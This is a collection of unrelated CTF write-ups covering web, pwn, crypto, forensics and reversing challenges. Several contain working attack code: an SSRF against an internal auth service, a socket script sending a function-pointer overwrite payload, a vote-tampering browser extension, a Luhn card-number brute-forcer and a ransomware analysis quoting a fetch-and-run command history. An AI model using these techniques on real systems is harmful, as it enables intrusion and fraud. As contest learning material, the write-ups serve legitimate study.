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1) Go to https://search.contest.qctf.ru/2) Register and Log in3) Let's try to index google.com4) Now, u`re see all a[href] attributes from google.com page5) Now, watch the source code (https://contest.qctf.ru/static/tasks/a183c36c/src.zip) We`re interested in search_engine\settings\production.py (4 line) and search_engine\front\auth.py (28-34 lines)6) As we can see in auth.py server do get request on http://auth.local/login/{USER_NAME} and parse json7) If you will try to index http://auth.local/login/Minister, then u`ll see 403 error (Запрещено индексировать ресурсы внутренней сети)8) Now create HTML file and setup name test.html for them9) Let`s try to index your test.html file10) Because JSON have this structure: {"object_key": "object_value"}, we`ll search the "password" text (https://search.contest.qctf.ru/search?query=%22password%22)11) Now we`re see JSON info. { "_id": "Minister", "password": "QCTF_Ha_Ha_Hackers_Cant_Invade_In_Out_Network" }12) Congrats! Your flag is QCTF_Ha_Ha_Hackers_Cant_Invade_In_Out_Network |
Problem:Ultra baby(pwn, 25 points)"Reach the flag function!"nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 55000Attachmentpwn25_5ae6e58885e7cd75.zipSolution:By reversing the binary in IDA, we can see a buffer being allocated 0x20 (26 bytes), and the pointer for the function lies 8 bytes below the frame pointer. Because we can read 0x19 (25 bytes), we can actually partially overwrite the least significant bit of the function pointer. This is helpful because there are two functions of interest, "Bye" and "Flag". Because they are so close together in memory, their addresses will be extraordinarily similar with the exception of the lowest bit which we can manipulate.From gdb we can use "print Bye" and "print Flag" and it'll prove our theory.The only difference in the address between "Bye()" and "Flag()" is 0xE0 is rather 0xF3. This means that if we write the 25th byte to 0xF3 rather than the normal 0xE0, we'll modify the function pointer. Later in execution when the function pointer is called, it'll jump to where we want (which is Flag()) rather than where it's supposed to go, which is Bye(). Now of course this will work on our local version but we won't get a flag because we don't have it, however this very binary is running as a service on a host and port they provide, so if we apply this solution to that service we'll get the flag in stdout. I decided to use a combination of Python and sockets. And yes I use python 2.7 not python 3, if you don't like it sorry.#!/usr/bin/pythonimport socketif __name__ == "__main__": s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 55000)) # Send our stuff for x in range(0, 3): s.send("A"*24 + "\xf3") # Is our flag here? for x in range(0, 3): print s.recv(1024)The only reason I made them run in a for loop is to ensure our packet got sent and we received the flag, as just running it once without the loop would sometimes fail. It's quick and dirty and by no means pretty.<span>Flag: EKO{Welcome_to_pwning_challs_2k16}</span> |
# Dirty Repo###### 400 Points
### ProblemGruncle Stan loves money very much and doesn't shun to use unacceptable tricks to get it. Not so far he started a new project with an aim to embezzlement of public funds. He hired some developers and decided to "borrow" source code. But one liberal-minded young man didn't like, that Stan's project is a plagiarism. This zealous fighter for justice decided to spoil one developer's project. Try to find out, what the malefactor added.Here are all developers' projects -> WORKDIRS or > WORKDIRS
### DescriptionWe are given a tar archive of several computers.
```tar xf gStproject.tar.gztar xf comp_1.tar.gztar xf comp_2.tar.gztar xf comp_5.tar.gz ```We need to find the difference in one of the computers.Using diff, we see the comp_1 and comp_2 are the exact same.
```diff -r comp_1 comp_2```
After testing a few computers, we see that comp_5 has the difference.
```diff -r comp_1 comp_5```
Output:```diff -r comp_1/openvpn/src/openvpn/forward.c comp_5/openvpn/src/openvpn/forward.c132a133> //FLAG -> gRunCle_StAn_tHe_woRsT_coDeR```
Flag: gRunCle_StAn_tHe_woRsT_coDeR |
You can vote for yourself. There is no restrictions for doing such things, so easily we can change userid value inside input form for vote button.To automate this process would be useful to write extension which changes all userid's inside input button form to your's userid.Example: Change all userid's on the page to 947 by Chrome extensioncontent.js var vote = document.getElementsByTagName('input');for (var i = 0, l = vote.length; i < l; i++) { vote[i].value = '947';}manifest.json { "manifest_version": 2, "name": "Modify userid inside vote button", "version": "0.0.1", "description": "1DEA", "content_scripts": [{ "css": ["styles.css"], "js": ["content.js"], "matches": ["http://188.166.44.105:8888/voting/*"] }] }Then we can install this extension and click any vote button on page to vote for ourselvesFLAG: RAINBOWPUKE |
# Baby hands (crypto 300)
###ENG[PL](#pl-version)
We get some [data](intercepted.txt) with many triplets denoted as (d,c,n).Our first idea was to check if maybe a pair of moduli share the same prime, but we found nothing.It was a bit confusing because there are not that many attacks which require many payloads.
And we were right - this one didn't.It needed only one payload, and each one gave the flag.
If we look at those payloads we can see that `d` is very very large, which actually suggest that the corresponding exponent `e` might be rather small.There is an efficient attack agains `large public exponent` - Wiener attack, and it is exactly what we were supposed to do.
So we simply run:
```# sage
n = 162375468556255342840184380017752307049575955143811124651668179546999144455415632265862602514386409412258772643790637233144774447636694664087397175482938958661142022166864007317692608104513835959387316735889741416403005613839667775733147723497537341613995375357897642024075069112712472560335406551536669543677e = 64193765095472280945778947695026260940793161700792092928929371930940586875921621250436677664062645637750266086941620369817913432656342447118119648040487568561166129534408858429501807430550886328164336961068507005046531729954378900389289038547121166749974617776234380115780563231906876010653549490718147637109c = 161368580245997137625438248139098888389801359838792140099794084052829279383422322670122662786704858201672541232233171127388341066584896672407182421832728901923771676356720611937864219195771372253188974650818854505110963737925290199983571032857746780899310446337006151661497839040062867489758146326490061720009
c_fracs = continued_fraction(e / n).convergents()test_message = 42test_message_encryted = pow(test_message, e, n)for i in xrange(len(c_fracs)): if pow(test_message_encryted, c_fracs[i].denom(), n) == test_message: d = c_fracs[i].denom() breakflag = pow(c, d, n)print(flag)```
And got `flag{G3t_1t?_1t_h4s_4_sm4ll_d}`
###PL version
Dostajemy [dane](intercepted.txt) z wieloma trójkami oznaczonymi jako (d,c,n).Pierwszy pomysł to sprawdzenie czy nie ma pary modulusów dzielących ten sam czynnik pierwszy, ale nic z tego.Było to trochę mylące, bo niewiele jest ataków które wymagają wielu wiadomości i kluczy.
I mieliśmy rację - ten atak wcale ich nie wymagał.Wymagał tylko jednej trójki i każda trójka dawała flagę.
Jeśli popatrzymy dokładnie na dane zauważymy że `d` jest bardzo bardzo duże, co sugeruje, że odpowiadający mu wykładnik `e` może być dość mały.Istnieje efektywny atak dla `dużego wykładnika publicznego` - atak Wienera i było to dokładnie to czego użyliśmy:
Uruchomiliśmy:
```# sage
n = 162375468556255342840184380017752307049575955143811124651668179546999144455415632265862602514386409412258772643790637233144774447636694664087397175482938958661142022166864007317692608104513835959387316735889741416403005613839667775733147723497537341613995375357897642024075069112712472560335406551536669543677e = 64193765095472280945778947695026260940793161700792092928929371930940586875921621250436677664062645637750266086941620369817913432656342447118119648040487568561166129534408858429501807430550886328164336961068507005046531729954378900389289038547121166749974617776234380115780563231906876010653549490718147637109c = 161368580245997137625438248139098888389801359838792140099794084052829279383422322670122662786704858201672541232233171127388341066584896672407182421832728901923771676356720611937864219195771372253188974650818854505110963737925290199983571032857746780899310446337006151661497839040062867489758146326490061720009
c_fracs = continued_fraction(e / n).convergents()test_message = 42test_message_encryted = pow(test_message, e, n)for i in xrange(len(c_fracs)): if pow(test_message_encryted, c_fracs[i].denom(), n) == test_message: d = c_fracs[i].denom() breakflag = pow(c, d, n)print(flag)```
I dostaliśmy `flag{G3t_1t?_1t_h4s_4_sm4ll_d}` |
# Clone AttackAll the pictures look the same, but if we use diff to compare them, we see that every picture is different. To look at which part of the picture is different, I use xxd to make the binary file store in hex presentation. With diff command, we can find that only three bytes are different and the difference characters are numbers. It comes to my mind that it may be the serial number of the cloned Dipper, so I write a python script to checkout, and BINGO. One picture does not have numbers. Strings the picture and it says the flag is the md5sum of the picture. ``` python3import globimport sys
for file_name in glob.glob('*.jpg'): with open(file_name, 'rb') as fp: img = fp.read() try: code = int(img[0x68:0x68+3]) except: print('no code:', file_name) if img == 0: print('number 0', file_name)```
|
# Restricted Area###### 400 Points
### ProblemYou are given a trial run as an admin in the Mystery Shack. Your first task is to define access permissions to the critical information, according to the matrixThe information is stored on the special storage disk. There is also information about system users and a program, which checks, if the settings are correct. If you do it right according to the matrix, you`ll receive a flag.
### DescriptionWe first get an external filesystem. We can mount this to our machine.
```gzip -d image.bin.gzsudo mount image.bin mount1/```
We see that we need to make 5 users, with specific user ids (according to the passwd file).
```useradd -u 1004 dipperuseradd -u 1005 mabeluseradd -u 1006 soosuseradd -u 1007 wendyuseradd -u 1008 stan```
The binary checks the permissions for each of the users. Each user controls 8 digits of the flag.We can fix permissions for one user at a time by changing owner permissions according to the matrix.
EX:```chown dipper lazy_black_catchown dipper lazy_red_cat...chown dipper sly_white_pig```Running the binary ./check_32 after fixing permissions for each user, we get the following results:```Dipper: 09D240FD00000000000000000000000000000000Mabel: 0000000060442F6C000000000000000000000000Soos: 0000000000000000D3F45E470000000000000000Wendy: 000000000000000000000000704D9DCB00000000Stan: 00000000000000000000000000000000F0344B0D```Putting the results together gives us the flag.
Flag: 09D240FD60442F6CD3F45E47704D9DCBF0344B0D |
# Fencepost (Pwn 150)It was reverse 150 when I solved it. The process is trapped in a loop, and the way out is a local variable to be zero. The variable is declared after a char array, and the array will be written by strcpy. We got the change to overwrite the local variable. The char buffer is 44 bytes, so the payload is 44 bytes char and follows with four '\x00'. ```payload = 'a'*44 + '\x00'*4``` |
# RC3Cipher (Reverse 350)1. I find the encrpyted string to be accepted. ```'1b65380f084b59016875513c6373131d2a6a327172753a2918243d7b181a051e5f1e104c32331c0842777b375f100113'```2. There are many steps in the program but I notice that the largest order of char plays an important role. (Many functions use the value.)3. Try some input and find out that given the largest order of char, the previous cipher text won't change. It seems that it encrypts the input from the first char to the last char.4. So we can try to find the input char by char. ## Decode process1. Find out what combination of the first character and the largest order can get '1b'. Using the property 3 I found, I can append any character. Example: aa, ab, ac, bb, bc, ...2. Find the char one by one and we get. ```$ python3 decode.py RC3-2016-Y0UR-KSA-IS-BAD-@ND-Y0U-SH0ULD-F33L-BAD flag: RC3-2016-Y0UR-KSA-IS-BAD-@ND-Y0U-SH0ULD-F33L-BAD``` The code: ``` python3import subprocesscipher = b'1b65380f084b59016875513c6373131d2a6a327172753a2918243d7b181a051e5f1e104c32331c0842777b375f100113'cipher = [cipher[:idx+2] for idx in range(0, len(cipher), 2)]
def decode(offset, prefix, max_chr): if offset == len(cipher): if prefix.startswith(b'RC3-2016'): print('') print('flag:', prefix.decode('utf-8')) exit() return for x in range(1, max_chr+1): with subprocess.Popen(['./RC3Cipher', prefix + bytes([x, max_chr])], stdout=subprocess.PIPE) as proc: rd = proc.stdout.read() c = rd.strip().split(b'\n')[0] c = c.split(b': ')[1][:-2] if c == cipher[offset]: print('\r' + (prefix + bytes([x])).decode('utf-8'), end='') decode(offset+1, prefix + bytes([x]), max_chr)known_text = b'RC3-2016'for i in range(ord('R'), 128): decode(len(known_text), known_text, i)``` |
First of all, we should mount the img file using image mounter or mount command in linux.There is a directory named `secretfiles` and it contains an encrypted file "workbook1.xlsx.gpg". We should decrypt the file using the private key, and it was our next job to find the private key.Based on the clue, there was someone using a web browser, so we have to find the browser history.In the ~/.mozilla directory, we can find a browser history. In the places.sqlite that contains browser history, there is https://github.com/rc3club/supersecret, just open the link and we can find the private key there.Import the private key, decrypt the encrypted file using gpg command.We tried to open the file, but it was asking for password. If we look back to the secrectfiles directory, there is a file named document.txt contains the password for the document, open it again using the password and look at the sheet2 there is the flag on the formula bar. |
This challenge, while silly, was a lot of fun. We're given a zip file with a bunch of files and folders. Looking through strings output for the set of files, "Minecraft" comes up.Having already installed a copy, I took a look at the game files and noticed that the files matched! Loading up the game world, there is a switch in front of you next to a building. Flipping that switch causes a big explosion behind you. A single hole in a large block of bedrock is used to allow a redstone circuit to blow up the TNT within. Teleporting yourself inside shows a bunch of oddly arranged gold blocks and diamond blocks, which turns out to be the flag spelled out.The thing about bedrock is that you can't normally break it. One of the two exceptions to this is creative mode. Using the server console to set yourself to creative mode, you can strip away the bedrock blocks on the top of the large bedrock chamber, exposing the flag. Creative mode also allows you to fly, so once the flag is exposed, you can fly up in the air, look down, and see the flag spelled out, sans h4ck1t{} formatting. |
# vigenere
- category: crypto- points: 100
```k: ????????????p: SECCON{???????????????????????????????????}c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe
|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}-+----------------------------A|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}B|BCDEFGHIJKLMNOPQRSTUVWXYZ{}AC|CDEFGHIJKLMNOPQRSTUVWXYZ{}ABD|DEFGHIJKLMNOPQRSTUVWXYZ{}ABCE|EFGHIJKLMNOPQRSTUVWXYZ{}ABCDF|FGHIJKLMNOPQRSTUVWXYZ{}ABCDEG|GHIJKLMNOPQRSTUVWXYZ{}ABCDEFH|HIJKLMNOPQRSTUVWXYZ{}ABCDEFGI|IJKLMNOPQRSTUVWXYZ{}ABCDEFGHJ|JKLMNOPQRSTUVWXYZ{}ABCDEFGHIK|KLMNOPQRSTUVWXYZ{}ABCDEFGHIJL|LMNOPQRSTUVWXYZ{}ABCDEFGHIJKM|MNOPQRSTUVWXYZ{}ABCDEFGHIJKLN|NOPQRSTUVWXYZ{}ABCDEFGHIJKLMO|OPQRSTUVWXYZ{}ABCDEFGHIJKLMNP|PQRSTUVWXYZ{}ABCDEFGHIJKLMNOQ|QRSTUVWXYZ{}ABCDEFGHIJKLMNOPR|RSTUVWXYZ{}ABCDEFGHIJKLMNOPQS|STUVWXYZ{}ABCDEFGHIJKLMNOPQRT|TUVWXYZ{}ABCDEFGHIJKLMNOPQRSU|UVWXYZ{}ABCDEFGHIJKLMNOPQRSTV|VWXYZ{}ABCDEFGHIJKLMNOPQRSTUW|WXYZ{}ABCDEFGHIJKLMNOPQRSTUVX|XYZ{}ABCDEFGHIJKLMNOPQRSTUVWY|YZ{}ABCDEFGHIJKLMNOPQRSTUVWXZ|Z{}ABCDEFGHIJKLMNOPQRSTUVWXY{|{}ABCDEFGHIJKLMNOPQRSTUVWXYZ}|}ABCDEFGHIJKLMNOPQRSTUVWXYZ{```
[solution.py](solution.py)
```known_key = VIGENERkey = VIGENERECODE, plaintext = SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}``` |
# RC3 CTF 2016 writeup
## Salad**Category:** Crypto**Points:** 100**Solves:** **Description:**
> “The fault, dear Brutus, is not in our stars, but in ourselves.” (I.ii.141) Julius Caesar in William Shakespeare’s Julius Caesar
> Cipher Text: 7sj-ighm-742q3w4t
## Write-upThe idea behind this problem is to find out which cipher is. In each CTF, it's pretty common to have a substitution cipher. No doubt, I thought it would be the Caesar cipher, but the first half (almost each challenge) had `RC3-2016-` so, the substitution cipher must handle the number as well.
A slight modification of the standard Caesar cipher gives us an equivalent to a right shift of 20.
```text0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJ
7sj-ighm-742q3w4tRC3-2016-ROMANGOD```
The flag is `=> RC3-2016-ROMANGOD`
## Calculus**Category:** Crypto**Points:** 200**Solves:** **Description:**
> Missing. There was a shared Google document link in view mode.
## Write-upA bunch of equations, just take one variable name of each equation and concatenate them : `A-N-T-I-D-E-R-V`
The flag is `=> RC3-2016-ANTIDERV`
## Cats**Category:** Crypto**Points:** 300**Solves:** **Description:**
> Missing.
## Write-upThe idea is to count the number of cats in each slide and then convert it to alphabetic letters and reverse it to get the flag.
```textImage 1: 14 cats - NImage 2: 9 cats - IImage 3: 1 cat - AImage 4: 20 cats - TImage 5: 23 cats - WImage 5: 15 cats - OImage 6: 5 cats - EImage 7: 13 cats - M
NIATWOEMMEOWTAIN```
The flag is `=> RC3-2016-MEOWTAIN`
Thanks @Neolex for giving me this suggestion.
## My Game**Category:** Crypto**Points:** 400**Solves:** **Description:**
> *Letters intertwined* > *The end, recombined.* > *Awake, lying blinking,* > *Intensely thinking.* > *Muse and proclaim...* > *“It’s my game!”* >> ?HLJ1>AA"AII>888!CE9>AA>"~>IIG888BAA~@>d>B~B? > HH0bAI>>AE&>IIAACMQa
## Write-upAfter hours of searching and trying and... (╯°□°)╯︵ ┻━┻, I decided to note the first letter of each word.
> **L**etters **i**ntertwined > **T**he **e**nd, **r**ecombined. > **A**wake, **l**ying **b**linking, > **I**ntensely **t**hinking. > **M**use **a**nd **p**roclaim... > “**I**t’s **m**y **g**ame!”
Oh... ┐(°‿°)┌ , we got `LiTerAlbItMapImg => literal bitmap img`, coincidence? No!
After some digging on the Internet and old experience with pgm and ppm at my University, I found out that the best way to represent the data `?HLJ1>AA"AII>888!CE9>AA>"~>IIG888BAA~@>d>B~B?HH0bAI>>AE&>IIAACMQa` was to use the format pbm. So, I [converted](http://www.asciitohex.com/) it, which turns out to be
```text00111111 01001000 01001100 01001010 00110001 00111110 01000001 01000001 00100010 01000001 01001001 01001001 00111110 00111000 00111000 00111000 00100001 01000011 01000101 00111001 00111110 01000001 01000001 00111110 00100010 01111110 00111110 01001001 01001001 01000111 00111000 00111000 00111000 01000010 01000001 01000001 01111110 01000000 00111110 01100100 00111110 01000010 01111110 01000010 00111111 01001000 01001000 00110000 01100010 01000001 01001001 00111110 00111110 01000001 01000101 00100110 00111110 01001001 01001001 01000001 01000001 01000011 01001101 01010001 01100001```Total of 65 characters
Before we write a script in the format of pbm, we need to know the width and height of the bitmap. Above, the data give us 65 bytes, so the more appropriate way to represent it horizontally is to have 65 bits by 8 bits.
I wrote my script and I got the desired portable bitmap. For more information about bitmap format, [click here](https://en.wikipedia.org/wiki/Netpbm_format).
```pythonimport sys
WIDTH = 65HEIGHT = 8
pixel_flag = [[0 for i in range(WIDTH)] for j in range(HEIGHT)]
file = open("binary.txt", "r")
binary_line = file.readline()
y = 0x = 0for binary in binary_line: if binary != '1' and binary != '0' and binary != ' ': break
if binary == ' ': x += 1 y = 0 else: pixel_flag[y][x] = binary y += 1
file.close()
file = open("flag-crypto400.pbm", "w+")
file.write('P1\n')file.write('65 8\n')for i in range(HEIGHT): for j in range(WIDTH): file.write(str(pixel_flag[i][j])) file.write('\n')file.close()```
At last, the dreadful part is to open the image and voilà!
The flag is `=> RC3-2016-JAIP3GEZ`
It sounds like a French expression : `j'ai pigé` ;p
### Last wordsA big thanks to RC3-2016 Team. It was really fun :) |
# anti-debugging
- category: binary- points: 100
Since code was not protected, we just analyze it statically.
Here's a impossible condition (0x401652) which is hidden from decompiler:
Just patch it and make it jump, then you will get flag.
And these code decode the flag:
 |
Problem:Welcome to the dark side(fbi, 25 points)"At Silk Road, every precaution is made to ensure your anonymity and security, from connecting to the site, to making your transactions, to receiving your items."https://silkroadzpvwzxxv.onionSolution:First of all you'll need Tor to visit the .onion site. In these types of challenges involving a site, viewing the source is pretty much always the first step. By viewing the source, we see a comment at the top, "<!-- 25 - EKO{buy_me_some_b0ts} -->". That's our flag.<span>Flag: EKO{buy_me_some_b0ts}</span> |
# Clone Attack###### 200 Points
### ProblemGravity Falls is under clones attack. Find the real Dipper and save the town
### DescriptionThe problem asks us to find the real Dipper.After analyzing the files, we see that only the meta data is different between images.Specifically, the meta data containing the object name.We can loop through each image and get its object name metadata and try to find the original.```shell#!/bin/bash
for x in *.jpg; do echo $x " - " $(exiftool $x | grep "Ксерокопия номер") >> data.logdone```
We find that atvF2wf1tfB2IkuV.jpg is the original image (not having the object name metadata tag).We now find the md5sum of the image to get the flag.
```md5sum atvF2wf1tfB2IkuV.jpg```
Flag: cd4d19b8471cecbc8ea7544de59db368 |
#Carder (web, 150 points, solved by 119)
The objective of this challange was to enter valid card numbers with known prefix and suffix.
[This](https://en.wikipedia.org/wiki/Luhn_algorithm) wikipedia describes the method used to validate a card number
A python script that does the job for us:
``` python
import itertoolsimport requestsimport jsonimport string
#verifyCard
def digits_of(number): return [int(i) for i in str(number)]
def luhn_checksum(card_number): digits = digits_of(card_number) odd_digits = digits[-1::-2] even_digits = digits[-2::-2] total = sum(odd_digits) for digit in even_digits: total += sum(digits_of(2 * digit)) return total % 10
def is_luhn_valid(card_number): return luhn_checksum(card_number) == 0
#requesturl = "http://86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000/api.php"data = { "action":"start"}headers = { "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", "Content-Length":"18", "Content-Type":"application/json", "Host":"86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000", "Origin":"http://86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000", "Referer":"http://86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000/"}
r = requests.get(url)cookies = r.cookies
r = requests.post(url, data=json.dumps(data), cookies=cookies, headers=headers)
response = r.json()cards = ['amex','visa','mcard']lengths = [7, 5, 8]
responseData = {}
for i in range(3): start = response["p"+cards[i]] ending = response["s"+cards[i]]
for s in itertools.product(string.digits, repeat=lengths[i]): if(is_luhn_valid(start+''.join(s)+ending)): print(cards[i]) print(len(start+''.join(s)+ending))
responseData["n"+cards[i]] = "".join(s) break;
responseData["action"]="validate"print(json.dumps(responseData))r = requests.post(url, data=json.dumps(responseData), cookies=cookies, headers=headers)print(r.text)
``` |
# [SECCON Quals CTF 2016](http://2016.seccon.jp/): [randomware](https://score-quals.seccon.jp/question/19a84b2eeb383263660420d7aa70372120b89771)
**Category:** Forensics**Points:** 300**Solves:** 38**Description:**
> randomware>> My PC suddenly got broken. Could you help me to recover it please?> NOTE: The disk can be virus-infected. DO NOT RUN any programs extracted from the disk outside of sandbox.>> [disk.qcow2.zip](http://files.quals.seccon.jp/disk.qcow2.zip)> Challenge files is huge, please download it first. Password will release after 60min.>> password: h9nn4c2955kik9qti9xphuxti
## writeup
A short, not so hard forensics challenge, but perhaps more reversingincluding basic crypto. Unzipping the challenge zip (with the providedpassword) it is a plain[qcow2](https://en.wikipedia.org/wiki/Qcow) image. It is a dense[copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write)format. To deal with it easier, let us convert it to rawwith [`qemu-img`](https://linux.die.net/man/1/qemu-img)(included with [qemu](http://wiki.qemu.org/Main_Page):
```$ qemu-img convert disk.qcow2 disk.raw```
The output file looks like a raw disk image, butpartition table seems to be corrupted:
```$ file disk.raw disk.raw: DOS/MBR boot sector$ fdisk -l disk.rawDisk disk.raw: 1 GiB, 1073741824 bytes, 2097152 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0x00000000```
Dumping the file shows lots of data, so let us try torecover that corrupted partition table (using thestandard recovery tool [TestDisk](http://www.cgsecurity.org/wiki/TestDisk)).Doing an "Analyse / Quick Search" with "Intel" partitiontype on the raw disk image immediately reveals thehealthy FAT32 partition. It is not important, butit can be written to the file.
Now the disk image has been fixed, FAT32 partitionis available:```$ fdisk -l disk.raw Disk disk.raw: 1 GiB, 1073741824 bytes, 2097152 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0x00000000
Device Boot Start End Sectors Size Id Typedisk.raw1 * 63 2088449 2088387 1019.7M b W95 FAT32```
Mounting it is straightforward (it starts on sector 63,sector size is 512 bytes, so offset is `63*512=32256` (in bytes)):```# mount -t vfat -o offset=32256,ro disk.raw mnt/```
Observing the structure it can be identified as a[Tiny Core Linux](http://tinycorelinux.net/welcome.html) system.The custom part of the system is probably in `/mydata.tgz`,so it should be the most interesting stuff for further investigation.
It contains a home directory for user `tc` with some basic (almostuseless) config folders, a `.mozilla` folder with a profile, andsome very interesting files in the home:```home/tc/.ash_historyhome/tc/getflaghome/tc/h1dd3n_s3cr3t_f14g.jpg```
Here we should not forget the challenge NOTE about virus-infection:the `getflag` is an ELF32 binary which must not be executed (outsidea sandbox!).
Dumping the history file:```tce-load -wil firefox-ESRexittce-load -i firefox-ESRfirefox 172.17.0.1wget http://172.17.0.1/getflag.bin -O getflag --user-agent="Chrome"./getflag chmod +x getflag ./getflag sudo ./getflag lsfirefox h1dd3n_s3cr3t_f14g.jpg ```
So the user invoked [`tce-load`](http://wiki.tinycorelinux.net/wiki:tce-load)and installed Firefox-ESR, downloaded `getflag` binary (from LAN)executed getflag (as root, probably not the best idea ;) ), and tried to open`h1dd3n_s3cr3t_f14g.jpg` in Firefox.
Unfortunately the jpeg file is a garbage.
### reversing the malware
The binary `getflag` is an ELF32, dynamically linked and fortunately notstripped binary:```$ file home/tc/getflag home/tc/getflag: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60e977599ec0a53c4406d8a9a941ce736aff9064, not stripped```
It is a short binary full of symbols, so basic usage of[r2](http://radare.org/r/) is more than enough to understand the malware.
So the malware (ranDomware) does the following:
1. Checks for user id (==`root`)2. `wget http://172.17.0.1/h1dd3n_s3cr3t_f14g.jpg`3. Creates `encrypt_key` with 0x400 bytes pulled from `/dev/urandom`4. Searches `/home/tc` recursively for files with suffix`.txt`, `.bin`, `.jpg`, `.jpeg`, `.png`, `.gif`, `.bmp`, `.tif`, `.tiff`,`.doc`, `.docx`, `.docm`, `.xls`, `.xlsx`, `.xlsm`, `.ppt`, `.pptx`, `.pptm`,`.odt`, `.odf`, `.xml`.5. Encrypts and overwrites the matching files by XORing somehow withthe random `encrypt_key`.6. And as a bonus, overwrites the MBR of the disk with a custom code. (WARNING: DO NOT TRY TO EXECUTE IT!!!)
### ranDomware vulnerability
In order to decrypt the encrypted `h1dd3n_s3cr3t_f14g.jpg`, therandom generated `encrypt_key` must be found somehow. It is notimpossible, because the malware XOR encrypts every file it foundswith exactly the same `encrypt_key`. Thus, if we find an encryptedfile (`C`) with known plaintext `P` (and with a size bigger thanthe key size (0x400 = 1024 byes)), the key can be calculatedtrivially:```encrypt_key = C[:0x400] ^ P[:0x400]```
### searching for known plaintext
There are possible encrypted `*.xml` files with known plaintext in`home/tc/.local/share/mime/packages/` but the size is too small.Fortunately there is an encrypted `blocklist.xml` file in theFirefox profile folder:```home/tc/.mozilla/firefox/wir5mrmb.default/blocklist.xml```
Now the original plaintext of `blocklist.xml` must be found.Probably it is part of the appropriate Firefox tarball.Reading `prefs.js` from the profile dir, the variable`gecko_mstone` identifies the version: `45.0`. Moreover,it is surely an[ESR](https://www.mozilla.org/en-US/firefox/organizations/faq/)according to the previously parsed `.ash_history` file above.
Browsing the[Firefox FTP release folder](https://ftp.mozilla.org/pub/firefox/releases/),the [45.0esr](https://ftp.mozilla.org/pub/firefox/releases/45.0esr/)version can be [downloaded](https://ftp.mozilla.org/pub/firefox/releases/45.0esr/linux-i686/en-US/firefox-45.0esr.tar.bz2).
Extracting the tarball `firefox/browser/blocklist.xml` matchesthe encrypted `blocklist.xml` size (207840 bytes), so it is almost sure,that the corresponding plaintext file has been found.
### Decrypting the flag
The following simple [Python3 script](./decrypt.py)calculates the XOR key from the plaintext andencrypted version of `blocklist.xml` and decrypts`h1dd3n_s3cr3t_f14g.jpg`:
```python#!/usr/bin/python3#
key = [b'\x00']*0x400enc = open('./home/tc/h1dd3n_s3cr3t_f14g.jpg', 'rb').read()dec = b''
f2 = 'blocklist.xml'c2 = open('./home/tc/.mozilla/firefox/wir5mrmb.default/' + f2, 'rb').read()p2 = open('./firefox/browser/' + f2, 'rb').read()
for i in range(len(key)): key[i] = bytes([p2[i] ^ c2[i]])
for i in range(len(enc)): dec += bytes([enc[i] ^ ord(key[i%len(key)])])
open('./f14g_decrypted.jpg', 'wb').write(dec)```
Displaying the output jpeg shows the flag:```SECCON{This is Virtual FAT too}```
The challenge was completed in the awesome team[OpenToAll](https://ctftime.org/team/9135) which finished as[21st](http://ranking.quals.seccon.jp/). |
# Datetime (ppc 100)
###ENG[PL](#pl-version)
In the task we a lot of [messages](messages.zip).Each message has a timestamp in the format `Friday_1_April_2015` and contains some random hash value.The flag is one of those hashes and we have to find the right one.The point is to find the message with correct timestamp - where day of the week matches the designated date.We do this with a simple python script and datetime library:
```pythonimport codecsimport osimport datetime
def main(): basedir = "/tmp/messages" days = ["monday", "tuesday", "wednesday", "thursday", "friday", "saturday", "sunday"] months = ["", "january", "february", "march", "april", "may", "june", "july", "august", "september", "october", "november", "december"] for filename in os.listdir(basedir): x = filename.split("_") dayname = x[0] dayno = x[1] month = months.index(x[2].lower()) year = x[3][:-4] date = datetime.datetime(int(year), int(month), int(dayno)) if date.weekday() == days.index(dayname.lower()): print(filename) with codecs.open(basedir + "/" + filename, "r") as input_file: data = input_file.read() print(data)
main()```
Which gives us:
```Tuesday_15_June_1982.txt4eec2cd9e4bb0062d0e41c8af1bd8a0f```
###PL version
W zadaniu dostajemy dużo [wiadomości](messages.zip).Każda wiadomość ma znacznik czasu w postaci `Friday_1_April_2015` i zawiera losowy hashcode.Flaga jest jednym z tych hashy i musimy znaleźć odpowiedni.Idea zadania jest dość prosta - tylko jeden znacznik czasowy jest poprawny, tzn dzień tygodnia zgadza się z datą.Poprawny plik odnajdujemy za pomocą skryptu i biblioteki datetime:
```pythonimport codecsimport osimport datetime
def main(): basedir = "/tmp/messages" days = ["monday", "tuesday", "wednesday", "thursday", "friday", "saturday", "sunday"] months = ["", "january", "february", "march", "april", "may", "june", "july", "august", "september", "october", "november", "december"] for filename in os.listdir(basedir): x = filename.split("_") dayname = x[0] dayno = x[1] month = months.index(x[2].lower()) year = x[3][:-4] date = datetime.datetime(int(year), int(month), int(dayno)) if date.weekday() == days.index(dayname.lower()): print(filename) with codecs.open(basedir + "/" + filename, "r") as input_file: data = input_file.read() print(data)
main()```
Co daje nam:
```Tuesday_15_June_1982.txt4eec2cd9e4bb0062d0e41c8af1bd8a0f``` |
# Prime (ppc 100)
###ENG[PL](#pl-version)
